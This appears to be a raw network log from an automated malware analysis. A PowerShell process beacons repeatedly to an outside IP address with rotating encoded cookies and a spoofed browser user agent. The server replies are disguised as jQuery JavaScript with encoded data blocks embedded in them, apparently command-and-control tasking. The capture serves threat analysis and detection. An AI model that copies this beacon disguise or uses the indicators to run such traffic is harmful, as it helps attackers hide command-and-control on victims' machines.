Apr 9, 2023 02:59:07.602993011 CEST	360	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=RYprCR5JC07PfcQIfFyFab_26GIozStT0sXCxOqm8g5mvRx5VxHtHr2AFtP5d4tmreNuBEamtjeG82xUUyZHUuNUp-wvN363z5A3URnd9G_Rlm1SdSzHfAfylext-i0jgQzogg0kA1L3cE_9SGav0tYE6g-XmhDfhZIaJQhYarBwvnOk User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:07.751837969 CEST	360	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:07 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:07.751878023 CEST	361	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:07.751905918 CEST	362	IN	Data Raw: 47 41 49 48 47 44 50 4d 4c 43 45 4b 4a 47 47 4b 4c 4a 43 47 44 44 43 44 41 42 43 44 4b 4c 47 4e 50 48 4c 41 49 47 4d 4e 50 48 47 4e 50 4e 4b 50 47 4a 48 46 4f 4e 47 43 46 47 4a 4a 4f 42 49 46 49 46 4e 42 49 48 4a 4a 4d 46 4e 48 42 4d 43 44 4f 4f Data Ascii: GAIHGDPMLCEKJGGKLJCGDDCDABCDKLGNPHLAIGMNPHGNPNKPGJHFONGCFGJJOBIFIFNBIHJJMFNHBMCDOOPAMLCLJINBEHPOMDFKCMMCIGFDMJMMBAGDNGPGCALDIBAL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49751	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:08.012660027 CEST	363	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=IL-y6Ht80q-qSB3pGWlciNrDMYNN-PKyt_AbJY-TK-8DiMWYMiQ0_9i1zzKcQlKHyNa35SOTb9bjxrW1NhOes4Zhfg1KAqdWqqXusHzoLY60o7SzEBkenWLHTA0Iz_TC5DkxY2gR2rOSRZYcLVN2M7MxM-7yr8k-4KfDxG1ts1EVi6pF User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:08.161721945 CEST	364	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:08 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:08.161767960 CEST	365	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:08.161818027 CEST	366	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49752	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:08.454457045 CEST	367	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=lA0veM_OTz8e-oB5rdvBGG5xrBP5Sm8iA0KGtTshtn-3OlgIhpapb2wHUqIo8M8XfGQqdZch8kZXdCglgqEDIzLT453-sDrGHhdzIMhasB4AESkjpKuDDdZ10Z28fWlSUIus89yjRyMm9wuMmeHroweDrn5GHVSuVBVeVNnfLsGhOTfV User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:08.618745089 CEST	367	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:08 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:08.618771076 CEST	369	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:08.618796110 CEST	370	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49753	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:08.883199930 CEST	371	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=goVl3NlGBZsIcsrdu1OLvHj55rfvwiWGFcrMES2p_NuhshKskB7jy3qPGAY-eIWzauxg0YGpuOJB_GKBlClJhyRbqTnoOHBiCJ85hN7S-roWmWOHsiPJqcD9mzmq9SP2RgPmV8orDYcwf0Eoj2mhBxEL5NpQlR4KQp0U8M9XZGW3sX1x User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:09.043471098 CEST	371	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:08 GMT Server: CloudFront Content-Length: 2228 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:09.043493986 CEST	372	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:09.043610096 CEST	373	IN	Data Raw: 46 46 41 41 47 4f 42 46 4b 43 4d 4a 4d 44 45 49 45 49 50 42 44 44 4a 4a 48 4c 4c 4a 4a 4a 43 4d 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f Data Ascii: FFAAGOBFKCMJMDEIEIPBDDJJHLLJJJCM/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49691	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:41.650490999 CEST	131	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Bupe1F0pPpOMHfHVPzywtPyW3b9rrR6OkaX3GanGx9Ml3SmkFHHYw_7gIw66F7677oNb2QXGg-rFk1mJEEZyj6A0kjFsV0tqjPACjFq9wbKS9liPNkzyoUSSoDEumhj-wmzdX05ENo-0EHogCwaaD5Vk39LU-iUCxvIv-Es4X20z3kZ5 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:41.810600042 CEST	132	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:41 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:41.810683012 CEST	133	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:41.810771942 CEST	134	IN	Data Raw: 48 4e 4f 44 4b 42 4e 4a 47 46 43 49 4d 4b 43 4f 43 4c 4a 43 44 4d 44 4a 43 43 4c 45 45 43 4b 48 4b 4f 43 44 44 4b 4e 4e 42 46 4b 4e 42 41 44 41 4d 4c 4f 4c 4a 4e 4b 45 48 4c 4b 43 46 45 42 4f 46 4a 43 4c 45 44 44 49 44 49 48 43 41 42 48 48 44 4d Data Ascii: HNODKBNJGFCIMKCOCLJCDMDJCCLEECKHKOCDDKNNBFKNBADAMLOLJNKEHLKCFEBOFJCLEDDIDIHCABHHDMNAJJNFKGOGECCKKGPBNNAKAJIGACLJBHFNAEFJLKKHEOLACJPJEMPJGOIHOLCNEAIFFGKHIFNELKDOHOBOLDGDKNNMHBKHMOOJBPLMOMOCFMBMCMFPJOIMBKEHIHPACHBPIAEDLAGDADCKOFCBFGNCHBAKENKMOOJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49754	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:09.314446926 CEST	374	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=ZB5Mdz_dLDDu6eN2XciiF55izxwJWQwt81Hlussy1XBHKTsHdoXKYJwUMa3Y46wYjHdJemcykUmnZ0sqcrJgLMLAgJIOo1nJ7gQQLzhJ0xHwAkosVLjgAiZmspJMbgpdoJjP_CywJCzW5GiDafKIrPeQzXG2DjehpAY9WynMTc5RKlTa User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:09.463568926 CEST	375	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:09 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:09.463619947 CEST	376	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:09.463654995 CEST	377	IN	Data Raw: 44 43 42 50 4b 4b 43 43 4f 43 4f 49 42 4a 41 44 41 4a 4f 4d 4e 4f 41 49 47 47 41 4b 42 47 44 41 49 4b 49 42 41 48 46 42 45 42 44 44 47 4f 43 44 43 4d 4a 45 47 50 48 4e 4b 44 4f 4b 41 49 45 4c 46 4a 43 47 45 48 4c 4a 4d 42 45 4f 44 4c 4e 48 43 4a Data Ascii: DCBPKKCCOCOIBJADAJOMNOAIGGAKBGDAIKIBAHFBEBDDGOCDCMJEGPHNKDOKAIELFJCGEHLJMBEODLNHCJIJLCODNPPAKPFAIAGKMDHIABNOFOBDMHCJLFHHNKIACJIIEPHLCDOCFBNGNNHPEAFJGBHMEPAJJAEIKDHBOIOMKCLLDNMODMKDBMINKOCJAAIAHKLFNAMBAONOKAFEAICFLHMBGJDEOHDEMGBAPMIPJOPDHOBKKAJ
Apr 9, 2023 02:59:09.463686943 CEST	377	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	49755	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:09.717982054 CEST	379	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=cAexMyvE0XT68B4ySdFfU4p7MlgdQPFp50gY_t8rKDRTMMZDYpw3JIgNzOnM-lFcmG60PnMrbA2zfrZuZqudaNbZfdYauqSN-h3tayxQLlXkG7doQKEdRjJ_T9ZYd_cZtIEyuDip2WjC_ZXHfet16OOJMDWiF8rlsB_AHz3VsIpFM6me User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:09.866566896 CEST	379	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:09 GMT Server: CloudFront Content-Length: 2292 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:09.866600990 CEST	380	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:09.866626024 CEST	381	IN	Data Raw: 4e 41 44 45 4e 44 44 4d 42 4c 49 50 4d 42 41 49 50 4e 49 48 47 48 45 48 4a 49 4f 48 4d 4c 49 41 4d 48 4e 44 4d 4b 43 4a 47 43 45 4e 42 45 47 4d 45 50 47 49 4a 42 4c 4a 4d 4f 43 50 4e 43 47 4f 4a 41 46 4f 4d 47 44 41 4a 4d 45 50 46 47 48 44 45 46 Data Ascii: NADENDDMBLIPMBAIPNIHGHEHJIOHMLIAMHNDMKCJGCENBEGMEPGIJBLJMOCPNCGOJAFOMGDAJMEPFGHDEFKIPBIDOCNFAEAJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49756	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:10.127046108 CEST	382	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=n_dJrMQ0KesVAOatpiGnzGWLysfysAn2CLjgYTDb0Ku8wD7cjWzPu2f9NHYjCqnDd55MoZzblJJcjk7xiVtl9zkphUn1SlwSFe0V9MOg1soL60_3r1Hl2d2Pt0m3hw-GW3HKJ9dZIfctDW1YkhuNdwx5yKpN5zJ6X-84gNIlSBWqw1EB User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:10.283932924 CEST	383	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:10 GMT Server: CloudFront Content-Length: 2228 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:10.283970118 CEST	384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:10.283994913 CEST	385	IN	Data Raw: 48 4f 4f 44 45 41 4e 4f 4b 4a 46 4a 48 49 48 4d 48 4a 49 4f 4e 44 50 50 46 45 48 42 47 47 45 4b 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f Data Ascii: HOODEANOKJFJHIHMHJIONDPPFEHBGGEK/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	49757	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:10.558175087 CEST	386	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=7Qr9dLbJnTNn_VJ11NwTFBd2fh-ATb0uekVUuUImZHPOPYoE_5F7YxUAgK5R9x0bBWP4ee4mIEouc_op-6bRL0vUMZGHt-jKZxChLLFdYhJ5Fvsv3axRAa9yA5HFerteKYx-_6WklS9f8NmA4OY5r36EfHI_GoaiLRKMWKDY_M3YPuXZ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:10.726375103 CEST	386	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:10 GMT Server: CloudFront Content-Length: 2228 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:10.726423979 CEST	388	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:10.726459026 CEST	389	IN	Data Raw: 46 4f 46 4a 49 48 50 43 46 45 45 49 42 4a 4d 4c 4a 49 4f 4e 50 46 50 46 4b 4a 4b 4b 41 4b 4c 44 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f Data Ascii: FOFJIHPCFEEIBJMLJIONPFPFKJKKAKLD/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49758	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:10.983793974 CEST	390	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=mZpS08JZMpQTbf3SoEy8s2Pm0bj03RKJDtX7Hja2y9S6rSWjiwHUxGGQLwklZ7K8cfNX3pq2j-1a41WOjzZ-iD9EnjbzJ0dtE4AOi8XNzbUNhlSIqTz-ptvirDax6hT5XRzRWNE0OogrYHYnlHaWCAoU09VLiikFWYIj_9RIU2qsrkp- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:11.132369041 CEST	390	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:11 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:11.132401943 CEST	391	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:11.132426023 CEST	393	IN	Data Raw: 47 41 42 41 4f 4a 4b 42 4f 46 50 41 41 44 4c 49 4b 43 45 48 42 45 4c 48 44 4f 48 50 4a 45 45 44 4e 4d 46 4c 46 45 4c 4c 46 43 4b 46 42 46 4f 4b 4f 49 50 45 4b 45 49 4c 47 4b 44 4e 45 49 4f 4f 47 4c 42 50 4a 41 42 4d 43 42 4f 45 46 43 4f 41 43 46 Data Ascii: GABAOJKBOFPAADLIKCEHBELHDOHPJEEDNMFLFELLFCKFBFOKOIPEKEILGKDNEIOOGLBPJABMCBOEFCOACFJHEKKGIGJIDBADCAEBDIILLCMGHEEGIEFBDKKAAAIJAABJONFOPIKCFBKOLPGBIKBGGPLFJFDJBDMLLEPMOPFAPMKCCOKLEIHBJCNPAEPACLBK/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	49759	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:11.389292002 CEST	394	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=c_KMtigx7PH5BSO3SiRi1omOD90etczs5L0le9zeFbFQxfvGYWkKoYv48WzPD2zZm5uJu3DeUYiwi4vrZV6g7dUsQFMZT5kI-ejQ7i-lE9Dn7ortQ1QgwzGKclNbgsqct3QPPTtc5O3BCKhCfh5IbeB8DbCh4vdgs-r9mj4gjQ9GxpQb User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:11.538564920 CEST	394	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:11 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
